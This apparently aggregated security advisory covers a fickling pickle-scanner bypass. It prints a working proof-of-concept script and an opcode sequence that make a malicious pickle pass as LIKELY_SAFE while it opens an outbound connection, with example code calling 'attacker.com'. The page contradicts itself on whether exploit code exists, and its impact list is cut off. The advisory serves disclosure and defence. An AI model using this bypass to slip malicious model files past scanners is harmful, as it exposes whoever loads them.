# GHSA-83pf-v6qq-pwmr: Fickling has a detection bypass via stdlib network-protocol constructors

> Fickling fails to detect malicious pickles using stdlib network constructors, allowing attackers to bypass safety checks and trigger outbound connections.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 20 Feb 2026

## What is GHSA-83pf-v6qq-pwmr?

GHSA-83pf-v6qq-pwmr is a vulnerability in fickling, published on 20 Feb 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

# Our assessment

`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.

# Original report 

## Summary

Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as
`LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time
using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`,
`ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.

The bypass exploits two independent root causes described below.

---

## Root Cause 1: Incomplete blocklist (fixed in PR #233)

`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist.
`fickling/analysis.py` (lines 229-248) defines the parallel
`UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib
network-protocol modules whose constructors open a TCP socket at instantiation time:

| Module | Class | Default port | Constructor side-effect |
|---|---|---|---|
| `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO |
| `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner |
| `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner |
| `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting |
| `telnetlib` | `Telnet` | 23 | TCP connect |
| `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |

Because these module names were absent from both blocklists, `UnsafeImportsML`,
`UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine
stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did
not fire.

**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.

---

## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)

### Description

`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables
that are assigned but never referenced. `UnusedVariables` analysis calls this method
and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a
bare `REDUCE` opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over `module_body` statements and, when
it encounters the final `result = <expr>` assignment, breaks out of the loop
immediately without first walking the right-hand side expression for `Name` references:

```python
# fickling/fickle.py:1183 (current code -- vulnerable)
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # this is the return value of the program
    break   # exits WITHOUT scanning statement.value
```

Any variable that appears only in the RHS of `result = <expr>` is therefore never
added to the `used` set and is incorrectly classified as unused.

### How this enables bypass suppression

When fickling processes a `REDUCE` opcode in isolation, it generates:

```python
_var0 = SMTP('attacker.com', 25)
result = _var0
```

Because the loop breaks before scanning `result = _var0`, `_var0` never enters
`used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.

Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated
AST to:

```python
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)   # dangerous call
_var1 = _var0                      # BUILD step 1: intermediate reference
_var1.__setstate__({})             # BUILD step 2: state call
result = _var1
```

Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the
break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.

The `__setstate__` call is excluded from `OvertlyBadEvals` because
`ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls`
(line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.

The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds
`SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals`
skips calls whose function name is in `likely_safe_imports` (lines 339-345).

**Net result: zero warnings, severity `LIKELY_SAFE`.**

This flaw is generic -- it applies to any module not on the blocklist, not just the
six fixed in PR #233. Any future blocklist gap can be silently exploited using the
same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.

### Bypass opcode sequence

```
Offset  Opcode            Argument
------  ------            --------
0       PROTO             4
2       GLOBAL            'smtplib' 'SMTP'
16      SHORT_BINUNICODE  'attacker.com'
30      BININT2           25
33      TUPLE2
34      REDUCE                          <- TCP connection opened here
35      EMPTY_DICT
36      BUILD                           <- suppresses UnusedVariables via flaw
37      STOP
```

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

```python
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1
```

No analysis rule in fickling fires on this AST.

### Proof of Concept

Requires only `pip install fickling`. Save as `poc.py` and run.

```python
import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
    h = host.encode("utf-8")
    return b"".join([
        b"\x80\x04",
        b"csmtplib\nSMTP\n",
        b"\x8c" + bytes([len(h)]) + h,
        b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
        b"\x86",   # TUPLE2
        b"R",      # REDUCE
        b"}",      # EMPTY_DICT
        b"b",      # BUILD
        b".",      # STOP
    ])

def run_poc():
    from fickling.analysis import check_safety
    from fickling.fickle import Pickled

    HOST, PORT = "127.0.0.1", 19902
    received = []

    def listener():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)
        srv.settimeout(5)
        try:
            conn, addr = srv.accept()
            received.append(addr)
            conn.close()
        except socket.timeout:
            pass
        srv.close()

    t = threading.Thread(target=listener, daemon=True)
    t.start()

    raw = build_bypass_pickle(HOST, PORT)
    loaded = Pickled.load(raw)
    result = check_safety(loaded)

    print(f"[*] fickling severity : {result.severity.name}")
    print(f"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}")

    assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
    print("[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed")

    print("[*] Calling pickle.loads() to simulate victim loading the file...")
    try:
        pickle.loads(raw)
    except Exception:
        pass

    t.join(timeout=5)

    if received:
        print(f"[+] Incoming TCP connection received from {received[0]}")
        print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
    else:
        print("[-] No TCP connection received (network blocked)")
        print("    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
    run_poc()
```

### Expected output

```
[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe  : True
[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE
```

Tested on Python 3.11.1, Windows. Not OS-specific.

### Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)
can silently:

- **

## Which versions are affected by GHSA-83pf-v6qq-pwmr?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.8 |
| `fickling` | PyPI | All versions | 0.1.8 |

## How do I fix GHSA-83pf-v6qq-pwmr?

Upgrade fickling to 0.1.8 or later.

## Is GHSA-83pf-v6qq-pwmr being exploited?

There is no known exploitation of GHSA-83pf-v6qq-pwmr in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-83pf-v6qq-pwmr and fix it if it is affected.

What it is: GHSA-83pf-v6qq-pwmr is a vulnerability in fickling, published on 20 Feb 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-83pf-v6qq-pwmr in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.8
- fickling (PyPI): affected all versions; fixed in 0.1.8

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-83pf-v6qq-pwmr/ (Markdown: https://insights.sbomify.com/GHSA-83pf-v6qq-pwmr/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-83pf-v6qq-pwmr

---
From sbomify Insights: https://insights.sbomify.com/GHSA-83pf-v6qq-pwmr/
Summaries are generated and may contain mistakes; the official description above is the record.